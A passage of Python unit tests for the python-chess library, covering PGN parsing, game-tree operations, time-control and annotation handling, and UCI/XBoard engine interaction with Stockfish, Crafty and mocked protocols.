self.assertIn(chess.pgn.NAG_MISTAKE, node.nags) self.assertEqual(len(node.nags), 1) node = node[0] self.assertIn(chess.pgn.NAG_BRILLIANT_MOVE, node.nags) self.assertEqual(len(node.nags), 1) def test_tree_traversal(self): game = chess.pgn.Game() node = game.add_variation(chess.Move(chess.E2, chess.E4)) alternative_node = game.add_variation(chess.Move(chess.D2, chess.D4)) end_node = node.add_variation(chess.Move(chess.E7, chess.E5)) self.assertEqual(game.root(), game) self.assertEqual(node.root(), game) self.assertEqual(alternative_node.root(), game) self.assertEqual(end_node.root(), game) self.assertEqual(game.end(), end_node) self.assertEqual(node.end(), end_node) self.assertEqual(end_node.end(), end_node) self.assertEqual(alternative_node.end(), alternative_node) self.assertTrue(game.is_mainline()) self.assertTrue(node.is_mainline()) self.assertTrue(end_node.is_mainline()) self.assertFalse(alternative_node.is_mainline()) self.assertFalse(game.starts_variation()) self.assertFalse(node.starts_variation()) self.assertFalse(end_node.starts_variation()) self.assertTrue(alternative_node.starts_variation()) self.assertFalse(game.is_end()) self.assertFalse(node.is_end()) self.assertTrue(alternative_node.is_end()) self.assertTrue(end_node.is_end()) def test_promote_demote(self): game = chess.pgn.Game() a = game.add_variation(chess.Move(chess.A2, chess.A3)) b = game.add_variation(chess.Move(chess.B2, chess.B3)) self.assertTrue(a.is_main_variation()) self.assertFalse(b.is_main_variation()) self.assertEqual(game[0], a) self.assertEqual(game[1], b) game.promote(b) self.assertTrue(b.is_main_variation()) self.assertFalse(a.is_main_variation()) self.assertEqual(game[0], b) self.assertEqual(game[1], a) game.demote(b) self.assertTrue(a.is_main_variation()) c = game.add_main_variation(chess.Move(chess.C2, chess.C3)) self.assertTrue(c.is_main_variation()) self.assertFalse(a.is_main_variation()) self.assertFalse(b.is_main_variation()) self.assertEqual(game[0], c) self.assertEqual(game[1], a) self.assertEqual(game[2], b) def test_skip_game(self): with open("data/pgn/kasparov-deep-blue-1997.pgn") as pgn: offsets = [] while True: offset = pgn.tell() if chess.pgn.skip_game(pgn): offsets.append(offset) else: break self.assertEqual(len(offsets), 6) pgn.seek(offsets[0]) first_game = chess.pgn.read_game(pgn) self.assertEqual(first_game.headers["Event"], "IBM Man-Machine, New York USA") self.assertEqual(first_game.headers["Site"], "01") pgn.seek(offsets[5]) sixth_game = chess.pgn.read_game(pgn) self.assertEqual(sixth_game.headers["Event"], "IBM Man-Machine, New York USA") self.assertEqual(sixth_game.headers["Site"], "06") def test_tricky_skip_game(self): raw_pgn = textwrap.dedent(""" 1. a3 ; { ; } 1. b3 { ; % { 1... g6 ; { 1. c3 { } % { 1... f6 ; { } {{{ 1. d3""") pgn = io.StringIO(raw_pgn) offsets = [] while True: offset = pgn.tell() if chess.pgn.skip_game(pgn): offsets.append(offset) else: break self.assertEqual(len(offsets), 3) pgn.seek(offsets[0]) self.assertEqual(chess.pgn.read_game(pgn).next().move, chess.Move.from_uci("a2a3")) pgn.seek(offsets[1]) self.assertEqual(chess.pgn.read_game(pgn).next().move, chess.Move.from_uci("b2b3")) pgn.seek(offsets[2]) self.assertEqual(chess.pgn.read_game(pgn).next().move, chess.Move.from_uci("d2d3")) self.assertEqual(chess.pgn.read_game(pgn), None) def test_read_headers(self): with open("data/pgn/kasparov-deep-blue-1997.pgn") as pgn: offsets = [] while True: offset = pgn.tell() headers = chess.pgn.read_headers(pgn) if headers is None: break elif headers.get("Result", "*") == "1/2-1/2": offsets.append(offset) pgn.seek(offsets[0]) first_drawn_game = chess.pgn.read_game(pgn) self.assertEqual(first_drawn_game.headers["Site"], "03") self.assertEqual(first_drawn_game[0].move, chess.Move.from_uci("d2d3")) def test_parse_time_control(self): with open("data/pgn/nepomniachtchi-liren-game1.pgn") as pgn: game = chess.pgn.read_game(pgn) tc = game.time_control() self.assertEqual(tc, chess.pgn.parse_time_control(game.headers["TimeControl"])) self.assertEqual(tc.type, chess.pgn.TimeControlType.STANDARD) self.assertEqual(len(tc.parts), 3) tcp1, tcp2, tcp3 = tc.parts self.assertEqual(tcp1, chess.pgn.TimeControlPart(40, 7200)) self.assertEqual(tcp2, chess.pgn.TimeControlPart(20, 3600)) self.assertEqual(tcp3, chess.pgn.TimeControlPart(0, 900, 30)) self.assertEqual(chess.pgn.TimeControlType.BULLET, chess.pgn.parse_time_control("60").type) self.assertEqual(chess.pgn.TimeControlType.BULLET, chess.pgn.parse_time_control("60+1").type) self.assertEqual(chess.pgn.TimeControlType.BLITZ, chess.pgn.parse_time_control("60+2").type) self.assertEqual(chess.pgn.TimeControlType.BLITZ, chess.pgn.parse_time_control("300").type) self.assertEqual(chess.pgn.TimeControlType.BLITZ, chess.pgn.parse_time_control("300+3").type) self.assertEqual(chess.pgn.TimeControlType.RAPID, chess.pgn.parse_time_control("300+10").type) self.assertEqual(chess.pgn.TimeControlType.RAPID, chess.pgn.parse_time_control("1800").type) self.assertEqual(chess.pgn.TimeControlType.RAPID, chess.pgn.parse_time_control("1800+10").type) self.assertEqual(chess.pgn.TimeControlType.STANDARD, chess.pgn.parse_time_control("1800+30").type) self.assertEqual(chess.pgn.TimeControlType.STANDARD, chess.pgn.parse_time_control("5400").type) self.assertEqual(chess.pgn.TimeControlType.STANDARD, chess.pgn.parse_time_control("5400+30").type) with self.assertRaises(ValueError): chess.pgn.parse_time_control("300+a") with self.assertRaises(ValueError): chess.pgn.parse_time_control("300+ad") with self.assertRaises(ValueError): chess.pgn.parse_time_control("600:20/180") with self.assertRaises(ValueError): chess.pgn.parse_time_control("abc") with self.assertRaises(ValueError): chess.pgn.parse_time_control("40/abc") def test_visit_board(self): class TraceVisitor(chess.pgn.BaseVisitor): def __init__(self): self.trace = [] def visit_board(self, board): self.trace.append(board.fen()) def visit_move(self, board, move): self.trace.append(board.san(move)) def result(self): return self.trace pgn = io.StringIO(textwrap.dedent("""\ [FEN "rnbqkbnr/pppppppp/8/8/4P3/8/PPPP1PPP/RNBQKBNR b KQkq - 0 1"] 1... e5 (1... d5 2. exd5) (1... c5) 2. Nf3 Nc6 """)) trace = [ "rnbqkbnr/pppppppp/8/8/4P3/8/PPPP1PPP/RNBQKBNR b KQkq - 0 1", "e5", "rnbqkbnr/pppp1ppp/8/4p3/4P3/8/PPPP1PPP/RNBQKBNR w KQkq - 0 2", "d5", "rnbqkbnr/ppp1pppp/8/3p4/4P3/8/PPPP1PPP/RNBQKBNR w KQkq - 0 2", "exd5", "rnbqkbnr/ppp1pppp/8/3P4/8/8/PPPP1PPP/RNBQKBNR b KQkq - 0 2", "c5", "rnbqkbnr/pp1ppppp/8/2p5/4P3/8/PPPP1PPP/RNBQKBNR w KQkq - 0 2", "Nf3", "rnbqkbnr/pppp1ppp/8/4p3/4P3/5N2/PPPP1PPP/RNBQKB1R b KQkq - 1 2", "Nc6", "r1bqkbnr/pppp1ppp/2n5/4p3/4P3/5N2/PPPP1PPP/RNBQKB1R w KQkq - 2 3", ] self.assertEqual(trace, chess.pgn.read_game(pgn, Visitor=TraceVisitor)) pgn.seek(0) self.assertEqual(trace, chess.pgn.read_game(pgn).accept(TraceVisitor())) pgn.seek(0) self.assertEqual(chess.Board(trace[-1]), chess.pgn.read_game(pgn, Visitor=chess.pgn.BoardBuilder)) def test_black_to_move(self): game = chess.pgn.Game() game.setup("8/8/4k3/8/4P3/4K3/8/8 b - - 0 17") node = game node = node.add_main_variation(chess.Move.from_uci("e6d6")) node = node.add_main_variation(chess.Move.from_uci("e3d4")) node = node.add_main_variation(chess.Move.from_uci("d6e6")) expected = textwrap.dedent("""\ [Event "?"] [Site "?"] [Date "????.??.??"] [Round "?"] [White "?"] [Black "?"] [Result "*"] [FEN "8/8/4k3/8/4P3/4K3/8/8 b - - 0 17"] [SetUp "1"] 17... Kd6 18. Kd4 Ke6 *""") self.assertEqual(str(game), expected) def test_result_termination_marker(self): pgn = io.StringIO("1. d4 1-0") game = chess.pgn.read_game(pgn) self.assertEqual(game.headers["Result"], "1-0") def test_missing_setup_tag(self): pgn = io.StringIO(textwrap.dedent("""\ [Event "Test position"] [Site "Black to move "] [Date "1997.10.26"] [Round "?"] [White "Pos 16"] [Black "VA33.EPD"] [Result "1-0"] [FEN "rbb1N1k1/pp1n1ppp/8/2Pp4/3P4/4P3/P1Q2PPq/R1BR1K2 b - - 0 1"] {Houdini 1.5 x64: 1)} 1... Nxc5 ({Houdini 1.5 x64: 2)} 1... Qh1+ 2. Ke2 Qxg2 3. Kd2 Nxc5 4. Qxc5 Bg4 5. Ba3 Qxf2+ 6. Kc3 Qxe3+ 7. Kb2 Qxe8 8. Re1 Be6 9. Rh1 a5 10. Rag1 Ba7 11. Qc3 g6 12. Bc5 Qb5+ 13. Qb3 Qe2+ 14. Qc2 Qxc2+ 15. Kxc2 Bxc5 16. dxc5 Rc8 17. Kd2 {-2.39/22}) 2. dxc5 Bg4 3. f3 Bxf3 4. Qf2 Bxd1 5. Nd6 Bxd6 6. cxd6 Qxd6 7. Bb2 Ba4 8. Qf4 Bb5+ 9. Kf2 Qg6 10. Bd4 f6 11. Qc7 Bc6 12. a4 a6 13. Qg3 Qxg3+ 14. Kxg3 Rc8 15. Rc1 Kf7 16. a5 h5 17. Rh1 {-2.63/23} 1-0""")) game = chess.pgn.read_game(pgn) self.assertIn("FEN", game.headers) self.assertNotIn("SetUp", game.headers) board = chess.Board("rbb1N1k1/pp1n1ppp/8/2Pp4/3P4/4P3/P1Q2PPq/R1BR1K2 b - - 0 1") self.assertEqual(game.board(), board) def test_chessbase_empty_line(self): with open("data/pgn/chessbase-empty-line.pgn") as pgn: game = chess.pgn.read_game(pgn) self.assertEqual(game.headers["Event"], "AlphaZero vs. Stockfish") self.assertEqual(game.headers["Round"], "1") self.assertEqual(game.next().move, chess.Move.from_uci("e2e4")) self.assertTrue(chess.pgn.read_game(pgn) is None) def test_game_from_board(self): setup = "3k4/8/4K3/8/8/8/8/2R5 b - - 0 1" board = chess.Board(setup) board.push_san("Ke8") board.push_san("Rc8#") game = chess.pgn.Game.from_board(board) self.assertEqual(game.headers["FEN"], setup) end_node = game.end() self.assertEqual(end_node.move, chess.Move.from_uci("c1c8")) self.assertEqual(end_node.parent.move, chess.Move.from_uci("d8e8")) self.assertEqual(game.headers["Result"], "1-0") def test_errors(self): pgn = io.StringIO(""" 1. e4 Qa1 e5 2. Qxf8 1. a3""") logging.disable(logging.ERROR) game = chess.pgn.read_game(pgn) logging.disable(logging.NOTSET) self.assertEqual(len(game.errors), 1) self.assertEqual(game.end().board().fen(), "rnbqkbnr/pppppppp/8/8/4P3/8/PPPP1PPP/RNBQKBNR b KQkq - 0 1") game = chess.pgn.read_game(pgn) self.assertEqual(game.end().board().fen(), "rnbqkbnr/pppppppp/8/8/8/P7/1PPPPPPP/RNBQKBNR b KQkq - 0 1") def test_add_line(self): game = chess.pgn.Game() game.add_variation(chess.Move.from_uci("e2e4")) moves = [chess.Move.from_uci("g1f3"), chess.Move.from_uci("d7d5")] tail = game.add_line(moves, starting_comment="start", comment="end", nags=(17, 42)) self.assertEqual(tail.parent.move, chess.Move.from_uci("g1f3")) self.assertEqual(tail.parent.starting_comments, ["start"]) self.assertEqual(tail.parent.comments, []) self.assertEqual(len(tail.parent.nags), 0) self.assertEqual(tail.move, chess.Move.from_uci("d7d5")) self.assertEqual(tail.comments, ["end"]) self.assertIn(42, tail.nags) def test_mainline(self): moves = [chess.Move.from_uci(uci) for uci in ["d2d3", "g8f6", "e2e4"]] game = chess.pgn.Game() game.add_line(moves) self.assertEqual(list(game.mainline_moves()), moves) self.assertTrue(game.mainline_moves()) self.assertEqual(list(reversed(game.mainline_moves())), list(reversed(moves))) self.assertEqual(str(game.mainline_moves()), "1. d3 Nf6 2. e4") def test_lan(self): pgn = io.StringIO("1. e2-e4") game = chess.pgn.read_game(pgn) self.assertEqual(game.end().move, chess.Move.from_uci("e2e4")) def test_variants(self): pgn = io.StringIO(textwrap.dedent("""\ [Variant "Atomic"] [FEN "8/8/1b6/8/3Nk3/4K3/8/8 w - - 0 1"] 1. Ne6 """)) game = chess.pgn.read_game(pgn) self.assertEqual(game.end().board().fen(), "8/8/1b2N3/8/4k3/4K3/8/8 b - - 1 1") game.setup(chess.variant.SuicideBoard()) self.assertEqual(game.headers["Variant"], "Suicide") game.setup(chess.Board()) self.assertNotIn("Variant", game.headers) def test_cutechess_fischerrandom(self): with open("data/pgn/cutechess-fischerrandom.pgn") as pgn: game = chess.pgn.read_game(pgn) board = game.board() self.assertTrue(board.chess960) self.assertEqual(board.fen(), "nbbrknrq/pppppppp/8/8/8/8/PPPPPPPP/NBBRKNRQ w KQkq - 0 1") def test_z0(self): with open("data/pgn/anastasian-lewis.pgn") as pgn: game = chess.pgn.read_game(pgn) board = game.end().board() self.assertEqual(board.fen(), "5rk1/2p1R2p/p5pb/2PPR3/8/2Q2B2/5P2/4K2q w - - 3 43") def test_uci_moves(self): with open("data/pgn/uci-moves.pgn") as pgn: game = chess.pgn.read_game(pgn) board = game.end().board() self.assertEqual(board.fen(), "8/8/2B5/4k3/4Pp2/1b6/1P3K2/8 b - - 0 57") def test_wierd_header(self): pgn = io.StringIO(r"""[Black "[=0040.34h5a4]"]""") game = chess.pgn.read_game(pgn) self.assertEqual(game.headers["Black"], "[=0040.34h5a4]") def test_semicolon_comment(self): pgn = io.StringIO("1. e4 ; e5") game = chess.pgn.read_game(pgn) node = game.next() self.assertEqual(node.move, chess.Move.from_uci("e2e4")) self.assertTrue(node.is_end()) def test_empty_game(self): pgn = io.StringIO(" \n\n ") game = chess.pgn.read_game(pgn) self.assertTrue(game is None) def test_no_movetext(self): pgn = io.StringIO(textwrap.dedent(""" [Event "A"] [Event "B"] """)) game = chess.pgn.read_game(pgn) self.assertEqual(game.headers["Event"], "A") game = chess.pgn.read_game(pgn) self.assertEqual(game.headers["Event"], "B") self.assertTrue(chess.pgn.read_game(pgn) is None) def test_subgame(self): pgn = io.StringIO("1. d4 d5 (1... Nf6 2. c4 (2. Nf3 g6 3. g3))") game = chess.pgn.read_game(pgn) node = game.next().variations[1] subgame = node.accept_subgame(chess.pgn.GameBuilder()) self.assertEqual(subgame.headers["FEN"], "rnbqkb1r/pppppppp/5n2/8/3P4/8/PPP1PPPP/RNBQKBNR w KQkq - 1 2") self.assertEqual(subgame.next().move, chess.Move.from_uci("c2c4")) self.assertEqual(subgame.variations[1].move, chess.Move.from_uci("g1f3")) def test_is_wild(self): headers = chess.pgn.Headers() headers["Variant"] = "wild/1" self.assertTrue(headers.is_wild()) def test_my_game_node(self): class MyGameNode(chess.pgn.GameNode): def add_variation(self, move, *, comment="", starting_comment="", nags=[]): return MyChildNode(self, move, comment=comment, starting_comment=starting_comment, nags=nags) class MyChildNode(chess.pgn.ChildNode, MyGameNode): pass class MyGame(chess.pgn.Game, MyGameNode): pass pgn = io.StringIO("1. e4") game = chess.pgn.read_game(pgn, Visitor=MyGame.builder) self.assertTrue(isinstance(game, MyGame)) node = game.variation(chess.Move.from_uci("e2e4")) self.assertTrue(isinstance(node, MyGameNode)) def test_recursion(self): board = chess.Board("4k3/8/8/8/8/8/8/4K3 w - - 0 1") for _ in range(1000): board.push(chess.Move(chess.E1, chess.E2)) board.push(chess.Move(chess.E8, chess.E7)) board.push(chess.Move(chess.E2, chess.E1)) board.push(chess.Move(chess.E7, chess.E8)) game = chess.pgn.Game.from_board(board) self.assertTrue(str(game).endswith("2000. Ke1 Ke8 1/2-1/2")) def test_annotations(self): game = chess.pgn.Game() game.comments = ["foo [%bar] baz"] self.assertTrue(game.clock() is None) clock = 12345 game.set_clock(clock) self.assertEqual(game.comments, ["foo [%bar] baz", "[%clk 3:25:45]"]) self.assertEqual(game.clock(), clock) self.assertTrue(game.eval() is None) game.set_eval(chess.engine.PovScore(chess.engine.Cp(-80), chess.WHITE)) self.assertEqual(game.comments, ["foo [%bar] baz", "[%clk 3:25:45]", "[%eval -0.80]"]) self.assertEqual(game.eval().white().score(), -80) self.assertEqual(game.eval_depth(), None) game.set_eval(chess.engine.PovScore(chess.engine.Mate(1), chess.WHITE), 5) self.assertEqual(game.comments, ["foo [%bar] baz", "[%clk 3:25:45]", "[%eval #1,5]"]) self.assertEqual(game.eval().white().mate(), 1) self.assertEqual(game.eval_depth(), 5) self.assertEqual(game.arrows(), []) game.set_arrows([(chess.A1, chess.A1), chess.svg.Arrow(chess.A1, chess.H1, color="red"), chess.svg.Arrow(chess.B1, chess.B8)]) self.assertEqual(game.comments, ["[%csl Ga1][%cal Ra1h1,Gb1b8]", "foo [%bar] baz", "[%clk 3:25:45]", "[%eval #1,5]"]) arrows = game.arrows() self.assertEqual(len(arrows), 3) self.assertEqual(arrows[0].color, "green") self.assertEqual(arrows[1].color, "red") self.assertEqual(arrows[2].color, "green") self.assertTrue(game.emt() is None) emt = 321 game.set_emt(emt) self.assertEqual(game.comments, ["[%csl Ga1][%cal Ra1h1,Gb1b8]", "foo [%bar] baz", "[%clk 3:25:45]", "[%eval #1,5]", "[%emt 0:05:21]"]) self.assertEqual(game.emt(), emt) game.set_eval(None) self.assertEqual(game.comments, ["[%csl Ga1][%cal Ra1h1,Gb1b8]", "foo [%bar] baz", "[%clk 3:25:45]", "[%emt 0:05:21]"]) game.set_emt(None) self.assertEqual(game.comments, ["[%csl Ga1][%cal Ra1h1,Gb1b8]", "foo [%bar] baz", "[%clk 3:25:45]"]) game.set_clock(None) game.set_arrows([]) self.assertEqual(game.comments, ["foo [%bar] baz"]) def test_eval(self): game = chess.pgn.Game() for cp in range(199, 220): game.set_eval(chess.engine.PovScore(chess.engine.Cp(cp), chess.WHITE)) self.assertEqual(game.eval().white().cp, cp) def test_float_emt(self): game = chess.pgn.Game() game.comments = ["[%emt 0:00:01.234]"] self.assertEqual(game.emt(), 1.234) game.set_emt(6.54321) self.assertEqual(game.comments, ["[%emt 0:00:06.543]"]) self.assertEqual(game.emt(), 6.543) game.set_emt(-70) self.assertEqual(game.comments, ["[%emt 0:00:00]"]) # Clamped self.assertEqual(game.emt(), 0) def test_float_clk(self): game = chess.pgn.Game() game.comments = ["[%clk 0:00:01.234]"] self.assertEqual(game.clock(), 1.234) game.set_clock(6.54321) self.assertEqual(game.comments, ["[%clk 0:00:06.543]"]) self.assertEqual(game.clock(), 6.543) game.set_clock(-70) self.assertEqual(game.comments, ["[%clk 0:00:00]"]) # Clamped self.assertEqual(game.clock(), 0) def test_node_turn(self): game = chess.pgn.Game() self.assertEqual(game.turn(), chess.WHITE) node = game.add_variation(chess.Move.from_uci("a2a3")) self.assertEqual(node.turn(), chess.BLACK) node = node.add_variation(chess.Move.from_uci("a7a6")) self.assertEqual(node.turn(), chess.WHITE) game = chess.pgn.Game() game.setup("4k3/8/8/8/8/8/8/4K3 b - - 7 6") self.assertEqual(game.turn(), chess.BLACK) node = game.add_variation(chess.Move.from_uci("e8e7")) self.assertEqual(node.turn(), chess.WHITE) node = node.add_variation(chess.Move.from_uci("e1e2")) self.assertEqual(node.turn(), chess.BLACK) def test_skip_inner_variation(self): class BlackVariationsOnly(chess.pgn.GameBuilder): def begin_variation(self): self.skipping = self.variation_stack[-1].turn() != chess.WHITE if self.skipping: return chess.pgn.SKIP else: return super().begin_variation() def end_variation(self): if self.skipping: self.skipping = False else: return super().end_variation() pgn = "1. e4 e5 ( 1... d5 2. exd5 Qxd5 3. Nc3 ( 3. c4 ) 3... Qa5 ) *" expected_pgn = "1. e4 e5 ( 1... d5 2. exd5 Qxd5 3. Nc3 Qa5 ) *" # Driven by parser. game = chess.pgn.read_game(io.StringIO(pgn), Visitor=BlackVariationsOnly) self.assertEqual(game.accept(chess.pgn.StringExporter(headers=False)), expected_pgn) # Driven by game tree traversal. game = chess.pgn.read_game(io.StringIO(pgn)).accept(BlackVariationsOnly()) self.assertEqual(game.accept(chess.pgn.StringExporter(headers=False)), expected_pgn) def test_utf8_bom(self): not_utf8_sig = "utf-8" with open("data/pgn/utf8-bom.pgn", encoding=not_utf8_sig) as pgn: game = chess.pgn.read_game(pgn) self.assertEqual(game.headers["Event"], "A") game = chess.pgn.read_game(pgn) self.assertEqual(game.headers["Event"], "B") game = chess.pgn.read_game(pgn) self.assertEqual(game, None) @unittest.skipIf(sys.platform == "win32" and (3, 8, 0) <= sys.version_info < (3, 8, 1), "https://bugs.python.org/issue34679") class EngineTestCase(unittest.TestCase): def test_uci_option_map_equality(self): a = chess.engine.UciOptionMap() b = chess.engine.UciOptionMap() c = chess.engine.UciOptionMap() self.assertEqual(a, b) a["fOO"] = "bAr" b["foo"] = "bAr" c["fOo"] = "bar" self.assertEqual(a, b) self.assertEqual(b, a) self.assertNotEqual(a, c) self.assertNotEqual(c, a) self.assertNotEqual(b, c) b["hello"] = "world" self.assertNotEqual(a, b) self.assertNotEqual(b, a) def test_uci_option_map_len(self): a = chess.engine.UciOptionMap() self.assertEqual(len(a), 0) a["key"] = "value" self.assertEqual(len(a), 1) del a["key"] self.assertEqual(len(a), 0) def test_score_ordering(self): order = [ chess.engine.Mate(-0), chess.engine.Mate(-1), chess.engine.Mate(-99), chess.engine.Cp(-123), chess.engine.Cp(-50), chess.engine.Cp(0), chess.engine.Cp(+30), chess.engine.Cp(+800), chess.engine.Mate(+77), chess.engine.Mate(+1), chess.engine.MateGiven, ] for i, a in enumerate(order): for j, b in enumerate(order): self.assertEqual(i < j, a < b, f"{a!r} < {b!r}") self.assertEqual(i == j, a == b, f"{a!r} == {b!r}") self.assertEqual(i <= j, a <= b) self.assertEqual(i != j, a != b) self.assertEqual(i > j, a > b) self.assertEqual(i >= j, a >= b) self.assertEqual(i < j, a.score(mate_score=100000) < b.score(mate_score=100000)) for model in ["sf12", "sf14", "sf15", "sf15.1", "sf16", "sf16.1"]: self.assertTrue(not (i < j) or a.wdl(model=model).expectation() <= b.wdl(model=model).expectation()) self.assertTrue(not (i < j) or a.wdl(model=model).winning_chance() <= b.wdl(model=model).winning_chance()) self.assertTrue(not (i < j) or a.wdl(model=model).losing_chance() >= b.wdl(model=model).losing_chance()) def test_score(self): # Negation. self.assertEqual(-chess.engine.Cp(+20), chess.engine.Cp(-20)) self.assertEqual(-chess.engine.Mate(+4), chess.engine.Mate(-4)) self.assertEqual(-chess.engine.Mate(-0), chess.engine.MateGiven) self.assertEqual(-chess.engine.MateGiven, chess.engine.Mate(-0)) # Score. self.assertEqual(chess.engine.Cp(-300).score(), -300) self.assertEqual(chess.engine.Mate(+5).score(), None) self.assertEqual(chess.engine.Mate(+5).score(mate_score=100000), 99995) self.assertEqual(chess.engine.Mate(-7).score(mate_score=100000), -99993) # Mate. self.assertEqual(chess.engine.Cp(-300).mate(), None) self.assertEqual(chess.engine.Mate(+5).mate(), 5) # Wdl. self.assertEqual(chess.engine.MateGiven.wdl().expectation(), 1) self.assertEqual(chess.engine.Mate(0).wdl().expectation(), 0) self.assertEqual(chess.engine.Cp(0).wdl().expectation(), 0.5) for cp in map(chess.engine.Cp, range(-1050, 1100, 50)): wdl = cp.wdl() self.assertTrue(wdl) self.assertAlmostEqual(wdl.winning_chance() + wdl.drawing_chance() + wdl.losing_chance(), 1) self.assertFalse(chess.engine.Wdl(0, 0, 0)) def test_wdl_model(self): self.assertEqual(chess.engine.Cp(131).wdl(model="sf12", ply=25), chess.engine.Wdl(524, 467, 9)) self.assertEqual(chess.engine.Cp(146).wdl(model="sf14", ply=25), chess.engine.Wdl(601, 398, 1)) self.assertEqual(chess.engine.Cp(40).wdl(model="sf15", ply=25), chess.engine.Wdl(58, 937, 5)) self.assertEqual(chess.engine.Cp(100).wdl(model="sf15.1", ply=64), chess.engine.Wdl(497, 503, 0)) self.assertEqual(chess.engine.Cp(-52).wdl(model="sf16", ply=63), chess.engine.Wdl(0, 932, 68)) self.assertEqual(chess.engine.Cp(51).wdl(model="sf16.1", ply=158), chess.engine.Wdl(36, 964, 0)) @catchAndSkip(FileNotFoundError, "need stockfish") def test_sf_forced_mates(self): with chess.engine.SimpleEngine.popen_uci("stockfish", debug=True) as engine: epds = [ "1k1r4/pp1b1R2/3q2pp/4p3/2B5/4Q3/PPP2B2/2K5 b - - bm Qd1+; id \"BK.01\";", "6k1/N1p3pp/2p5/3n1P2/4K3/1P5P/P1Pr1r2/R1R5 b - - bm Rf4+; id \"Clausthal 2014\";", ] board = chess.Board() for epd in epds: operations = board.set_epd(epd) result = engine.play(board, chess.engine.Limit(mate=5), game=object()) self.assertIn(result.move, operations["bm"], operations["id"]) @catchAndSkip(FileNotFoundError, "need stockfish") def test_sf_options(self): with chess.engine.SimpleEngine.popen_uci("stockfish", debug=True) as engine: self.assertEqual(engine.options["UCI_Chess960"].name, "UCI_Chess960") self.assertEqual(engine.options["uci_Chess960"].type, "check") self.assertEqual(engine.options["UCI_CHESS960"].default, False) @catchAndSkip(FileNotFoundError, "need stockfish") def test_sf_analysis(self): with chess.engine.SimpleEngine.popen_uci("stockfish", setpgrp=True, debug=True) as engine: board = chess.Board("8/6K1/1p1B1RB1/8/2Q5/2n1kP1N/3b4/4n3 w - - 0 1") limit = chess.engine.Limit(depth=40) analysis = engine.analysis(board, limit) with analysis: for info in iter(analysis.next, None): if "score" in info and info["score"].is_mate(): break else: self.fail("never found a mate score") for info in analysis: if "score" in info and info["score"].white() >= chess.engine.Mate(+2): break analysis.wait() self.assertFalse(analysis.would_block()) self.assertEqual(analysis.info["score"].relative, chess.engine.Mate(+2)) self.assertEqual(analysis.multipv[0]["score"].black(), chess.engine.Mate(-2)) # Exhaust remaining information. was_empty = analysis.empty() was_really_empty = True for info in analysis: was_really_empty = False self.assertEqual(was_really_empty, was_empty) self.assertTrue(analysis.empty()) self.assertFalse(analysis.would_block()) for info in analysis: self.fail("all info should have been consumed") @catchAndSkip(FileNotFoundError, "need stockfish") def test_sf_multipv(self): with chess.engine.SimpleEngine.popen_uci("stockfish", debug=True) as engine: board = chess.Board("r2qr1k1/pb2npp1/1pn1p2p/8/3P4/P1PQ1N2/B4PPP/R1B1R1K1 w - - 2 15") result = engine.analyse(board, chess.engine.Limit(depth=1), multipv=3) self.assertEqual(len(result), 3) self.assertTrue(result[0]["score"].relative >= result[1]["score"].relative) self.assertTrue(result[1]["score"].relative >= result[2]["score"].relative) @catchAndSkip(FileNotFoundError, "need stockfish") def test_sf_quit(self): engine = chess.engine.SimpleEngine.popen_uci("stockfish", setpgrp=True, debug=True) with engine: engine.quit() with self.assertRaises(chess.engine.EngineTerminatedError), engine: engine.ping() @catchAndSkip(FileNotFoundError, "need fairy-stockfish") def test_fairy_sf_initialize(self): with chess.engine.SimpleEngine.popen_uci("fairy-stockfish", setpgrp=True, debug=True): pass def test_uci_option_parse(self): async def main(): protocol = chess.engine.UciProtocol() mock = chess.engine.MockTransport(protocol) mock.expect("uci", ["option name UCI_Variant type combo default chess var bughouse var chess var mini var minishogi var threekings", "uciok"]) await protocol.initialize() mock.assert_done() mock.expect("isready", ["readyok"]) await protocol.ping() mock.assert_done() asyncio.run(main()) @catchAndSkip(FileNotFoundError, "need crafty") def test_crafty_play_to_mate(self): logging.disable(logging.WARNING) try: with tempfile.TemporaryDirectory(prefix="crafty") as tmpdir: with chess.engine.SimpleEngine.popen_xboard("crafty", setpgrp=True, debug=True, cwd=tmpdir) as engine: board = chess.Board("2bqkbn1/2pppp2/np2N3/r3P1p1/p2N2B1/5Q2/PPPPKPP1/RNB2r2 w KQkq - 0 1") limit = chess.engine.Limit(depth=10) while not board.is_game_over() and len(board.move_stack) < 5: result = engine.play(board, limit, ponder=True) board.push(result.move) self.assertTrue(board.is_checkmate()) engine.quit() finally: logging.disable(logging.NOTSET) @catchAndSkip(FileNotFoundError, "need crafty") def test_crafty_analyse(self): logging.disable(logging.WARNING) try: with tempfile.TemporaryDirectory(prefix="crafty") as tmpdir: with chess.engine.SimpleEngine.popen_xboard("crafty", debug=True, cwd=tmpdir) as engine: board = chess.Board("2bqkbn1/2pppp2/np2N3/r3P1p1/p2N2B1/5Q2/PPPPKPP1/RNB2r2 w KQkq - 0 1") limit = chess.engine.Limit(depth=7, time=2.0) info = engine.analyse(board, limit) self.assertTrue(info["score"].relative > chess.engine.Cp(1000)) engine.quit() finally: logging.disable(logging.NOTSET) @catchAndSkip(FileNotFoundError, "need crafty") def test_crafty_ping(self): with tempfile.TemporaryDirectory(prefix="crafty") as tmpdir: with chess.engine.SimpleEngine.popen_xboard("crafty", debug=True, cwd=tmpdir) as engine: engine.ping() engine.quit() def test_uci_ping(self): async def main(): protocol = chess.engine.UciProtocol() mock = chess.engine.MockTransport(protocol) mock.expect("uci", ["uciok"]) await protocol.initialize() mock.assert_done() mock.expect("isready", ["readyok"]) await protocol.ping() mock.assert_done() asyncio.run(main()) def test_uci_debug(self): async def main(): protocol = chess.engine.UciProtocol() mock = chess.engine.MockTransport(protocol) mock.expect("debug on", []) protocol.debug() mock.assert_done() mock.expect("debug off", []) protocol.debug(False) mock.assert_done() asyncio.run(main()) def test_uci_go(self): async def main(): protocol = chess.engine.UciProtocol() mock = chess.engine.MockTransport(protocol) # Initialize. mock.expect("uci", ["uciok"]) await protocol.initialize() # Pondering. mock.expect("ucinewgame") mock.expect("isready", ["readyok"]) mock.expect("position startpos") mock.expect("go movetime 123 searchmoves e2e4 d2d4", ["info string searching ...", "bestmove d2d4 ponder d7d5"]) mock.expect("position startpos moves d2d4 d7d5") mock.expect("go ponder movetime 123") board = chess.Board() result = await protocol.play(board, chess.engine.Limit(time=0.123), root_moves=[board.parse_san("e4"), board.parse_san("d4")], ponder=True, info=chess.engine.INFO_ALL) self.assertEqual(result.move, chess.Move.from_uci("d2d4")) self.assertEqual(result.ponder, chess.Move.from_uci("d7d5")) self.assertEqual(result.info["string"], "searching ...") mock.assert_done() mock.expect("stop", ["bestmove c2c4"]) # Limits. mock.expect("position startpos") mock.expect("go wtime 1 btime 2 winc 3 